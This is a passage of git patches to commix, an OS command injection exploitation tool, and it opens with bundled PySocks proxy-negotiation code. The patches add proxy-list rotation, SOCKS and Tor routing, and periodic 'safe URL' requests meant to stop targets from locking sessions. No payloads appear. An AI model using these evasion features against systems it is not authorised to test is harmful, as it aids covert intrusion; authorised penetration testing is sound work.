authentication") + + writer.write(b"\x01" + chr(len(username)).encode() + + username + + chr(len(password)).encode() + + password) + writer.flush() + auth_status = self._readall(reader, 2) + if auth_status[0:1] != b"\x01": + # Bad response + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + if auth_status[1:2] != b"\x00": + # Authentication failed + raise SOCKS5AuthError("SOCKS5 authentication failed") + + # Otherwise, authentication succeeded + + # No authentication is required if 0x00 + elif chosen_auth[1:2] != b"\x00": + # Reaching here is always bad + if chosen_auth[1:2] == b"\xFF": + raise SOCKS5AuthError( + "All offered SOCKS5 authentication methods were" + " rejected") + else: + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + # Now we can request the actual connection + writer.write(b"\x05" + cmd + b"\x00") + resolved = self._write_SOCKS5_address(dst, writer) + writer.flush() + + # Get the response + resp = self._readall(reader, 3) + if resp[0:1] != b"\x05": + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x00: + # Connection failed: server returned an error + error = SOCKS5_ERRORS.get(status, "Unknown error") + raise SOCKS5Error("{:#04x}: {}".format(status, error)) + + # Get the bound address/port + bnd = self._read_SOCKS5_address(reader) + + super(socksocket, self).settimeout(self._timeout) + return (resolved, bnd) + finally: + reader.close() + writer.close() + + def _write_SOCKS5_address(self, addr, file): + """ + Return the host and port packed for the SOCKS5 protocol, + and the resolved address as a tuple object. + """ + host, port = addr + proxy_type, _, _, rdns, username, password = self.proxy + family_to_byte = {socket.AF_INET: b"\x01", socket.AF_INET6: b"\x04"} + + # If the given destination address is an IP address, we'll + # use the IP address request even if remote resolving was specified. + # Detect whether the address is IPv4/6 directly. + for family in (socket.AF_INET, socket.AF_INET6): + try: + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + except socket.error: + continue + + # Well it's not an IP number, so it's probably a DNS name. + if rdns: + # Resolve remotely + host_bytes = host.encode("idna") + file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes) + else: + # Resolve locally + addresses = socket.getaddrinfo(host, port, socket.AF_UNSPEC, + socket.SOCK_STREAM, + socket.IPPROTO_TCP, + socket.AI_ADDRCONFIG) + # We can't really work out what IP is reachable, so just pick the + # first. + target_addr = addresses[0] + family = target_addr[0] + host = target_addr[4][0] + + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + + def _read_SOCKS5_address(self, file): + atyp = self._readall(file, 1) + if atyp == b"\x01": + addr = socket.inet_ntoa(self._readall(file, 4)) + elif atyp == b"\x03": + length = self._readall(file, 1) + addr = self._readall(file, ord(length)) + elif atyp == b"\x04": + addr = socket.inet_ntop(socket.AF_INET6, self._readall(file, 16)) + else: + raise GeneralProxyError("SOCKS5 proxy server sent invalid data") + + port = struct.unpack(">H", self._readall(file, 2))[0] + return addr, port + + def _negotiate_SOCKS4(self, dest_addr, dest_port): + """Negotiates a connection through a SOCKS4 server.""" + proxy_type, addr, port, rdns, username, password = self.proxy + + writer = self.makefile("wb") + reader = self.makefile("rb", 0) # buffering=0 renamed in Python 3 + try: + # Check if the destination address provided is an IP address + remote_resolve = False + try: + addr_bytes = socket.inet_aton(dest_addr) + except socket.error: + # It's a DNS name. Check where it should be resolved. + if rdns: + addr_bytes = b"\x00\x00\x00\x01" + remote_resolve = True + else: + addr_bytes = socket.inet_aton( + socket.gethostbyname(dest_addr)) + + # Construct the request packet + writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port)) + writer.write(addr_bytes) + + # The username parameter is considered userid for SOCKS4 + if username: + writer.write(username) + writer.write(b"\x00") + + # DNS name if remote resolving is required + # NOTE: This is actually an extension to the SOCKS4 protocol + # called SOCKS4A and may not be supported in all cases. + if remote_resolve: + writer.write(dest_addr.encode("idna") + b"\x00") + writer.flush() + + # Get the response from the server + resp = self._readall(reader, 8) + if resp[0:1] != b"\x00": + # Bad data + raise GeneralProxyError( + "SOCKS4 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x5A: + # Connection failed: server returned an error + error = SOCKS4_ERRORS.get(status, "Unknown error") + raise SOCKS4Error("{:#04x}: {}".format(status, error)) + + # Get the bound address/port + self.proxy_sockname = (socket.inet_ntoa(resp[4:]), + struct.unpack(">H", resp[2:4])[0]) + if remote_resolve: + self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port + else: + self.proxy_peername = dest_addr, dest_port + finally: + reader.close() + writer.close() + + def _negotiate_HTTP(self, dest_addr, dest_port): + """Negotiates a connection through an HTTP server. + + NOTE: This currently only supports HTTP CONNECT-style proxies.""" + proxy_type, addr, port, rdns, username, password = self.proxy + + # If we need to resolve locally, we do this now + addr = dest_addr if rdns else socket.gethostbyname(dest_addr) + + http_headers = [ + (b"CONNECT " + addr.encode("idna") + b":" + + str(dest_port).encode() + b" HTTP/1.1"), + b"Host: " + dest_addr.encode("idna") + ] + + if username and password: + http_headers.append(b"Proxy-Authorization: basic " + + b64encode(username + b":" + password)) + + http_headers.append(b"\r\n") + + self.sendall(b"\r\n".join(http_headers)) + + # We just need the first line to check if the connection was successful + fobj = self.makefile() + status_line = fobj.readline() + fobj.close() + + if not status_line: + raise GeneralProxyError("Connection closed unexpectedly") + + try: + proto, status_code, status_msg = status_line.split(" ", 2) + except ValueError: + raise GeneralProxyError("HTTP proxy server sent invalid response") + + if not proto.startswith("HTTP/"): + raise GeneralProxyError( + "Proxy server does not appear to be an HTTP proxy") + + try: + status_code = int(status_code) + except ValueError: + raise HTTPError( + "HTTP proxy server did not return a valid HTTP status") + + if status_code != 200: + error = "{}: {}".format(status_code, status_msg) + if status_code in (400, 403, 405): + # It's likely that the HTTP proxy server does not support the + # CONNECT tunneling method + error += ("\n[*] Note: The HTTP proxy server may not be" + " supported by PySocks (must be a CONNECT tunnel" + " proxy)") + raise HTTPError(error) + + self.proxy_sockname = (b"0.0.0.0", 0) + self.proxy_peername = addr, dest_port + + _proxy_negotiators = { + SOCKS4: _negotiate_SOCKS4, + SOCKS5: _negotiate_SOCKS5, + HTTP: _negotiate_HTTP + } + + @set_self_blocking + def connect(self, dest_pair, catch_errors=None): + """ + Connects to the specified destination through a proxy. + Uses the same API as socket's connect(). + To select the proxy server, use set_proxy(). + + dest_pair - 2-tuple of (IP/hostname, port). + """ + if len(dest_pair) != 2 or dest_pair[0].startswith("["): + # Probably IPv6, not supported -- raise an error, and hope + # Happy Eyeballs (RFC6555) makes sure at least the IPv4 + # connection works... + raise socket.error("PySocks doesn't support IPv6: %s" + % str(dest_pair)) + + dest_addr, dest_port = dest_pair + + if self.type == socket.SOCK_DGRAM: + if not self._proxyconn: + self.bind(("", 0)) + dest_addr = socket.gethostbyname(dest_addr) + + # If the host address is INADDR_ANY or similar, reset the peer + # address so that packets are received from any peer + if dest_addr == "0.0.0.0" and not dest_port: + self.proxy_peername = None + else: + self.proxy_peername = (dest_addr, dest_port) + return + + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + + # Do a minimal input check first + if (not isinstance(dest_pair, (list, tuple)) + or len(dest_pair) != 2 + or not dest_addr + or not isinstance(dest_port, int)): + # Inputs failed, raise an error + raise GeneralProxyError( + "Invalid destination-connection (host, port) pair") + + # We set the timeout here so that we don't hang in connection or during + # negotiation. + super(socksocket, self).settimeout(self._timeout) + + if proxy_type is None: + # Treat like regular socket object + self.proxy_peername = dest_pair + super(socksocket, self).settimeout(self._timeout) + super(socksocket, self).connect((dest_addr, dest_port)) + return + + proxy_addr = self._proxy_addr() + + try: + # Initial connection to proxy server. + super(socksocket, self).connect(proxy_addr) + + except socket.error as error: + # Error while connecting to proxy + self.close() + if not catch_errors: + proxy_addr, proxy_port = proxy_addr + proxy_server = "{}:{}".format(proxy_addr, proxy_port) + printable_type = PRINTABLE_PROXY_TYPES[proxy_type] + + msg = "Error connecting to {} proxy {}".format(printable_type, + proxy_server) + log.debug("%s due to: %s", msg, error) + raise ProxyConnectionError(msg, error) + else: + raise error + + else: + # Connected to proxy server, now negotiate + try: + # Calls negotiate_{SOCKS4, SOCKS5, HTTP} + negotiate = self._proxy_negotiators[proxy_type] + negotiate(self, dest_addr, dest_port) + except socket.error as error: + if not catch_errors: + # Wrap socket errors + self.close() + raise GeneralProxyError("Socket error", error) + else: + raise error + except ProxyError: + # Protocol error while negotiating with proxy + self.close() + raise + + @set_self_blocking + def connect_ex(self, dest_pair): + """ https://docs.python.org/3/library/socket.html#socket.socket.connect_ex + Like connect(address), but return an error indicator instead of raising an exception for errors returned by the C-level connect() call (other problems, such as "host not found" can still raise exceptions). + """ + try: + self.connect(dest_pair, catch_errors=True) + return 0 + except OSError as e: + # If the error is numeric (socket errors are numeric), then return number as + # connect_ex expects. Otherwise raise the error again (socket timeout for example) + if e.errno: + return e.errno + else: + raise + + def _proxy_addr(self): + """ + Return proxy address to connect to as tuple object + """ + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) + if not proxy_port: + raise GeneralProxyError("Invalid proxy type") + return proxy_addr, proxy_port diff --git a/src/utils/settings.py b/src/utils/settings.py index bcc5d9b7d2..6b553cc515 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "146" +REVISION = "147" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1154,6 +1154,21 @@ class RetryTechniqueException(Exception): TOR_HTTP_PROXY_IP = "127.0.0.1" TOR_HTTP_PROXY_PORT = "8118" CHECK_TOR_PAGE = "https://check.torproject.org/" +# Answered as JSON, so that what is read back is a stated fact rather than a phrase on a page. +CHECK_TOR_API_PAGE = "https://check.torproject.org/api/ip" + +# The proxy types '--tor-type' accepts, and the ports each one is looked for on. +class PROXY_TYPE(object): + HTTP = "HTTP" + SOCKS4 = "SOCKS4" + SOCKS5 = "SOCKS5" + +TOR_TYPES = (PROXY_TYPE.HTTP, PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5) +# SOCKS is what the Tor service itself listens as, so it is what a default run asks for - an HTTP +# proxy in front of Tor (e.g. Privoxy) is a second piece of software, and its own thing to get wrong. +DEFAULT_TOR_TYPE = PROXY_TYPE.SOCKS5 +DEFAULT_TOR_SOCKS_PORTS = (9050, 9150) +DEFAULT_TOR_HTTP_PORTS = (8123, 8118) # Cookie injection COOKIE_INJECTION = None @@ -1860,6 +1875,9 @@ class END_LINE: # The parameters '--randomize' was given, each one carrying a fresh value on every request. RANDOMIZE_PARAMETERS_LIST = [] +# The places '--param-filter' was given, in upper case - a parameter elsewhere is not tested. +PARAM_FILTER_PLACES = [] + # Init Test INIT_TEST = "" From fe829de35e6b54eb16f65c1a77bc6f1f1de33de3 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 18 Sep 2026 06:26:28 +0300 Subject: [PATCH 0809/1023] Added proxy rotation and authentication support, SOCKS4/5 proxy handling, regex-based request retries, periodic safe requests, and an unstable-connection mode that increases delays, retries, and timeouts --- commix.py | 6 +- doc/CHANGELOG.md | 5 ++ src/core/controller/checks.py | 9 +-- src/core/main.py | 5 +- src/core/options.py | 99 ++++++++++++++++++++++---- src/core/parse/cmdline.py | 57 +++++++++++++++ src/core/parse/request.py | 40 +++++++++++ src/core/requests/headers.py | 66 +++++++++++++++++- src/core/requests/proxy.py | 127 +++++++++++++++++++++++++++++++++- src/core/requests/requests.py | 70 +++++++++++++++++-- src/utils/settings.py | 27 +++++++- 11 files changed, 477 insertions(+), 34 deletions(-) diff --git a/commix.py b/commix.py index 208ac34561..52e753b46b 100755 --- a/commix.py +++ b/commix.py @@ -35,9 +35,11 @@ def main(): if __name__ == '__main__': try: main() - except SystemExit: + except SystemExit as err_msg: + # Raised as it was given: a caller that reads the exit code is told whether the run ended the + # way it meant to, and a bare one is zero as it always was. import sys - raise SystemExit() + raise SystemExit(err_msg.code) except KeyboardInterrupt: import sys raise SystemExit() diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9bb311d1d4..2f78dee4d7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,9 @@ ## Version 4.2 (TBA) +* Added: New options `--proxy-file`, `--proxy-freq` and `--proxy-cred` for using a list of proxies and the credentials they ask for. +* Added: Support for SOCKS4/5 proxies given with the `--proxy` option. +* Added: New option `--retry-on` for repeating a request whose response content matches a given regexp. +* Added: New options `--safe-url`, `--safe-post`, `--safe-req` and `--safe-freq` for visiting a harmless URL every so many requests. +* Added: New switch `--unstable` for doubling the delay, the retries and the timeout on an unreliable connection. * Added: Bundled the "PySocks" library, so that the Tor service can be reached over SOCKS directly. * Added: New switches `--skip-urlencode` and `--skip-xmlencode` for sending payload data without the encoding a carrier would otherwise get. * Added: New options `--param-exclude` and `--param-filter` for choosing testable parameters by name and by place. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 65cdfe8848..0d37f73873 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -396,14 +396,11 @@ def finish_target(): settings.IGNORED_TIMEOUTS = 0 """ -Technique letters written out, optionally saying how each one shows execution. Used to name what a -run did not look at, and which techniques can reach a sink at all. +Technique letters written out. Used to name what a run did not look at. """ -def technique_names(letters, qualified=False): +def technique_names(letters): plain = {"r": "results-based", "t": "time-based", "f": "file-based"} - # The sink is worth spelling out where the point is which techniques exist at all. - shows = {"r": "results-based", "t": "blind", "f": "blind"} - chosen = [plain[_] + (" (" + shows[_] + ")" if qualified else "") for _ in ("r", "t", "f") if _ in letters] + chosen = [plain[_] for _ in ("r", "t", "f") if _ in letters] if not chosen: return "" name = chosen[0] if len(chosen) == 1 else ", ".join(chosen[:-1]) + " and " + chosen[-1] diff --git a/src/core/main.py b/src/core/main.py index 8016686160..0800f7c1b3 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -231,7 +231,8 @@ def redirect_probe_request(url, http_request_method): if menu.options.ignore_proxy: probe_handlers.append(_urllib.request.ProxyHandler({})) elif menu.options.proxy: - probe_handlers.append(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy})) + if not proxy.is_socks(): + probe_handlers.append(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy})) if menu.options.auth_cred and menu.options.auth_type and menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if settings.DIGEST_AUTH_REALM is None: settings.DIGEST_AUTH_REALM = headers.discover_digest_realm(url) @@ -245,7 +246,7 @@ def redirect_probe_request(url, http_request_method): _urllib.request.install_opener(opener) probe_request = redirect_probe_request(url, http_request_method) if menu.options.proxy and not menu.options.tor and not menu.options.ignore_proxy: - probe_request.set_proxy(menu.options.proxy, settings.SCHEME) + proxy.apply_to_request(probe_request) response = opener.open(probe_request, timeout=settings.TIMEOUT) if response.geturl() != url: redirect_url = response.geturl() diff --git a/src/core/options.py b/src/core/options.py index 205c5226fe..78bb3e35cc 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -21,6 +21,8 @@ from src.utils import settings from src.core.parse import cmdline as menu from src.core.requests import tor +from src.core.requests import proxy +from src.core.parse import request from src.core.requests import cookies from src.core.controller import checks @@ -80,15 +82,64 @@ def validate(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): - _, proxy_scheme, proxy_address, proxy_port = match.groups() - if settings.SCHEME or proxy_scheme: - if not settings.SCHEME: - settings.SCHEME = proxy_scheme - menu.options.proxy = proxy_address + ":" + proxy_port - break - else: - err_msg = "Proxy value must be in format '(http|https)://address:port'." + match = re.search(settings.PROXY_REGEX, menu.options.proxy.strip()) + if not match: + err_msg = "Proxy value must be in format '(" + "|".join(settings.PROXY_SCHEMES) + ")://address:port'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + _, proxy_scheme, proxy_cred, proxy_address, proxy_port = match.groups() + settings.PROXY_SCHEME = (proxy_scheme or "http").lower() + menu.options.proxy = proxy_address + ":" + proxy_port + # Credentials written into the proxy value itself are the ones that proxy asks for. + if proxy_cred: + menu.options.proxy_cred = proxy_cred + proxy.configure() + + if menu.options.proxy and menu.options.proxy_file: + err_msg = "The option '--proxy' is incompatible with the option '--proxy-file'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.proxy_freq and not menu.options.proxy_file: + err_msg = "The option '--proxy-freq' requires the option '--proxy-file'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Read once and kept in the order they were written, so a run that rotates through them is + # repeatable rather than picking one at random. + if menu.options.proxy_file: + proxy.load_proxy_list() + + if menu.options.safe_post and not menu.options.safe_url: + err_msg = "The option '--safe-post' requires the option '--safe-url'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.safe_req and any((menu.options.safe_url, menu.options.safe_post)): + err_msg = "The option '--safe-req' is incompatible with the options '--safe-url' and '--safe-post'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.safe_freq and not any((menu.options.safe_url, menu.options.safe_req)): + err_msg = "The option '--safe-freq' requires the option '--safe-url' or the option '--safe-req'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if any((menu.options.safe_url, menu.options.safe_req)): + if menu.options.safe_freq <= 0: + err_msg = "You must specify a '--safe-freq' value, greater than zero, to visit a safe URL." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + if menu.options.safe_url and not re.search(r"(?i)\Ahttp[s]*://", menu.options.safe_url): + menu.options.safe_url = ("https://" if ":443/" in menu.options.safe_url else "http://") + menu.options.safe_url + if menu.options.safe_req: + settings.SAFE_REQUEST = request.parse_safe_request(menu.options.safe_req) + + if menu.options.retry_on: + try: + re.compile(menu.options.retry_on) + except Exception as err: + err_msg = "Invalid regular expression '" + menu.options.retry_on + "' (" + str(err) + ")." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -155,6 +206,11 @@ def validate(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + # A page that asks to be retried is not a page to abort on: the two would otherwise both answer + # for the same response, and the abort would win. + if menu.options.retry_on and settings.ABORT_CODE: + settings.ABORT_CODE = [] + # Check if defined "--ignore-code" option. if menu.options.ignore_code: try: @@ -216,6 +272,23 @@ def validate(): if menu.options.timesec != 0: settings.TIMESEC = menu.options.timesec + # What an unstable connection needs more of - doubled, and only where the run did not say + # otherwise itself: a value given by hand is the one that was meant. + if menu.options.unstable: + # The delay is held at zero until a technique asks for one, and the answer it gets is the + # safe minimum - so that, not the zero, is what there is twice as much of. + if not settings.USER_APPLIED_TIMESEC: + settings.TIMESEC = menu.options.timesec = (settings.TIMESEC or settings.MIN_SAFE_TIMESEC) * 2 + if not settings.USER_APPLIED_RETRIES: + settings.MAX_RETRIES = menu.options.retries = menu.options.retries * 2 + if not settings.USER_APPLIED_TIMEOUT: + settings.TIMEOUT = menu.options.timeout = menu.options.timeout * 2 + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Doubling what an unstable connection needs more of, except where it was given: " + debug_msg += "'--time-sec=" + str(menu.options.timesec) + "', '--retries=" + str(menu.options.retries) + debug_msg += "', '--timeout=" + str(menu.options.timeout) + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Check if defined "--threads" option. if menu.options.threads > 1: try: @@ -237,9 +310,11 @@ def validate(): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if menu.options.tor: - settings.TIMESEC = settings.TIMESEC * 2 - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + ", because you provided switch '--tor'." + # Doubled from the delay that would otherwise be asked for - which is the safe minimum until a + # technique settles on one, rather than the zero the option sits at. + settings.TIMESEC = menu.options.timesec = (settings.TIMESEC or settings.MIN_SAFE_TIMESEC) * 2 + warn_msg = "Increasing the value for the option '--time-sec' to" + warn_msg += " " + str(settings.TIMESEC) + ", because you provided the switch '--tor'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.sitemap_url: diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 4abb3147c2..29981affda 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -366,6 +366,25 @@ def banner(): default=False, help="Use HTTP chunked transfer encoded (POST) requests.") +request.add_option("--proxy-file", + action="store", + dest="proxy_file", + default=None, + help="Load proxy list from a file.") + +request.add_option("--proxy-freq", + action="store", + dest="proxy_freq", + default=0, + type="int", + help="Requests between change of proxy from a given list.") + +request.add_option("--proxy-cred", + action="store", + dest="proxy_cred", + default=None, + help="Proxy authentication credentials (name:password).") + request.add_option("--ignore-proxy", action="store_true", dest="ignore_proxy", @@ -390,6 +409,37 @@ def banner(): default=None, help="Randomly change value for given parameter(s).") +request.add_option("--retry-on", + action="store", + dest="retry_on", + default=None, + help="Retry request on regexp matching content (e.g. 'drop').") + +request.add_option("--safe-url", + action="store", + dest="safe_url", + default=None, + help="URL address to visit frequently during testing.") + +request.add_option("--safe-post", + action="store", + dest="safe_post", + default=None, + help="POST data to send to a safe URL.") + +request.add_option("--safe-req", + action="store", + dest="safe_req", + default=None, + help="Load safe HTTP request from a file.") + +request.add_option("--safe-freq", + action="store", + dest="safe_freq", + default=0, + type="int", + help="Regular requests between visits to a safe URL.") + request.add_option("--skip-urlencode", action="store_true", dest="skip_urlencode", @@ -794,6 +844,12 @@ def banner(): default=False, help="Safely remove all content from commix data directory.") +misc.add_option("--unstable", + action="store_true", + dest="unstable", + default=False, + help="Adjust options for unstable connections.") + misc.add_option("--skip-waf", action="store_true", dest="skip_waf", @@ -870,6 +926,7 @@ def truncate_option_strings(self, *args): # Remember whether '--retries' was explicitly supplied, since it carries a default of its own settings.USER_APPLIED_RETRIES = any(_ in sys.argv for _ in ("--retries",)) or any(_.startswith("--retries=") for _ in sys.argv) +settings.USER_APPLIED_TIMEOUT = any(_ in sys.argv for _ in ("--timeout",)) or any(_.startswith("--timeout=") for _ in sys.argv) # Remember whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI settings.USER_APPLIED_COOKIE = options.cookie or "" diff --git a/src/core/parse/request.py b/src/core/parse/request.py index 2ad6e9c456..91a6cbf8c4 100755 --- a/src/core/parse/request.py +++ b/src/core/parse/request.py @@ -304,6 +304,46 @@ def parse_requests(request_file): return targets +""" +The request of '--safe-req', read from a file written the way '-r' expects one. + +Only the first request of the file is taken: this is the one request that is repeated, and a file +holding several says nothing about which. +""" +def parse_safe_request(request_file): + if not os.path.exists(request_file): + err_msg = "It seems the '" + request_file + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + try: + with open(request_file, encoding=settings.DEFAULT_CODEC) as file: + content = file.read() + except IOError as err_msg: + error_msg = "The '" + request_file + "' " + str(err_msg.args[1]).lower() + "." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit() + + for raw_request in _split_requests(content): + target = _parse_request(raw_request, request_file) + if target is None: + continue + headers = [] + for header in (target["raw_headers"] or "").split(settings.END_LINE.ESCAPED_LF): + if ":" in header: + name, _, value = header.partition(":") + if name.strip().lower() not in ("content-length",): + headers.append((name.strip(), value.strip())) + return { + "url" : target["url"], + "method" : target["method"], + "data" : target["data"], + "headers" : headers + } + + err_msg = "Invalid format of the safe request file '" + request_file + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Parse target and data from http proxy logs (i.e. Burp or WebScarab) """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 435687cd4e..f95adf9e68 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -195,11 +195,72 @@ def _pair(match): menu.options.cookie = _rewrite(menu.options.cookie) return request +""" +Count one request, and do what the options ask for every so many of them: change the proxy the run +goes out through, and visit the URL that keeps the session alive. + +The safe request is sent through the same path as any other, so it is counted out here rather than +inside it - a request made to keep the session alive is not one of the requests being paced. +""" +def count_request(): + with settings.REQUESTS_LOCK: + settings.REQUEST_COUNTER += 1 + counter = settings.REQUEST_COUNTER + if settings.SENDING_SAFE_REQUEST: + return + + if menu.options.proxy_freq and counter % menu.options.proxy_freq == 0: + proxy.rotate_proxy() + + if menu.options.safe_freq and counter % menu.options.safe_freq == 0: + send_safe_request() + +""" +Visit the URL that has nothing to do with the test, at the frequency asked for. + +What it is for is the session: a target that logs out, locks an account or expires a token after so +many odd-looking requests sees an ordinary one in between them. +""" +def send_safe_request(): + if settings.SENDING_SAFE_REQUEST: + return + settings.SENDING_SAFE_REQUEST = True + try: + if settings.SAFE_REQUEST: + safe = settings.SAFE_REQUEST + data = safe["data"].encode(settings.DEFAULT_CODEC) if safe["data"] else None + request = _urllib.request.Request(safe["url"], data, method=safe["method"] or settings.HTTPMETHOD.GET) + for header_name, header_value in safe["headers"]: + request.add_header(header_name, header_value) + else: + data = menu.options.safe_post.encode(settings.DEFAULT_CODEC) if menu.options.safe_post else None + method = settings.HTTPMETHOD.POST if menu.options.safe_post else settings.HTTPMETHOD.GET + request = _urllib.request.Request(menu.options.safe_url, data, method=method) + do_check(request) + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Visiting the safe URL '" + request.get_full_url() + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + response = check_http_traffic(request) + if response is None: + response = resend(request) + if response is not None and not isinstance(response, bool): + try: + response.close() + except Exception: + pass + except Exception: + # A safe visit that fails is not the run's business: nothing is read from it, and the request + # it was sent between is the one that matters. + pass + finally: + settings.SENDING_SAFE_REQUEST = False + """ Checking the HTTP Headers & HTTP/S Request. """ def check_http_traffic(request): settings.LAST_HTTP_ERROR = None + count_request() # Delay in seconds between each HTTP request, plus whatever backing off the target has earned - # and, where '--jitter' was given, a different fraction of a second on top of every one of them. time.sleep(int(settings.DELAY) + settings.ADAPTIVE_DELAY + (random.uniform(0, menu.options.jitter) if menu.options.jitter else 0)) @@ -297,11 +358,10 @@ def https_open(self, req): # Also route through the configured proxy/Tor, so this fetch is reusable. if menu.options.ignore_proxy: opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) - elif menu.options.tor: + elif menu.options.tor and menu.options.tor_type == settings.PROXY_TYPE.HTTP: opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) else: - if menu.options.proxy: - request.set_proxy(menu.options.proxy, settings.SCHEME) + proxy.apply_to_request(request) opener = _urllib.request.build_opener(connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) # Time limit mechanism. diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 735e5eed15..04df110284 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -13,11 +13,136 @@ For more see the file 'readme/COPYING' for copying permission. """ +import os +import re +from base64 import b64encode from src.core.parse import cmdline as menu from src.utils import settings from src.core.requests import requests from src.core.requests import redirection from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client +from src.thirdparty.socks import socks + +""" +Read the proxies of '--proxy-file', one per line, in the order they were written. + +An entry carries what '--proxy' would: a scheme, credentials of its own, an address and a port - +so a SOCKS entry is not quietly read as HTTP, and a proxy that wants a password keeps it. +""" +def load_proxy_list(): + if not os.path.isfile(menu.options.proxy_file): + err_msg = "It seems the '" + menu.options.proxy_file + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + with open(menu.options.proxy_file, encoding=settings.DEFAULT_CODEC, errors="replace") as file: + content = file.read() + for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", content): + _, scheme, cred, address, port = match.groups() + settings.PROXY_LIST.append((scheme or "http", cred, address, port)) + if not settings.PROXY_LIST: + err_msg = "No proxy was found in the '" + menu.options.proxy_file + "' file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + info_msg = "Loaded " + str(len(settings.PROXY_LIST)) + " prox" + ("ies" if len(settings.PROXY_LIST) != 1 else "y") + info_msg += " from the '" + os.path.split(menu.options.proxy_file)[1] + "' file." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + apply_proxy_from_list() + +""" +Put the proxy the list is currently on in place, as though it had been given with '--proxy'. +""" +def apply_proxy_from_list(): + if not settings.PROXY_LIST: + return + scheme, cred, address, port = settings.PROXY_LIST[settings.PROXY_LIST_INDEX % len(settings.PROXY_LIST)] + settings.PROXY_SCHEME = scheme + menu.options.proxy = address + ":" + port + # Credentials written next to the proxy itself outrank '--proxy-cred', which speaks for the rest. + if cred: + menu.options.proxy_cred = cred + configure() + +""" +Move on to the next proxy of the list, which is what '--proxy-freq' asks for every so many requests. +""" +def rotate_proxy(): + if len(settings.PROXY_LIST) < 2: + return + settings.PROXY_LIST_INDEX += 1 + apply_proxy_from_list() + warn_msg = "Changing the proxy to '" + settings.PROXY_SCHEME + "://" + menu.options.proxy + "'." + 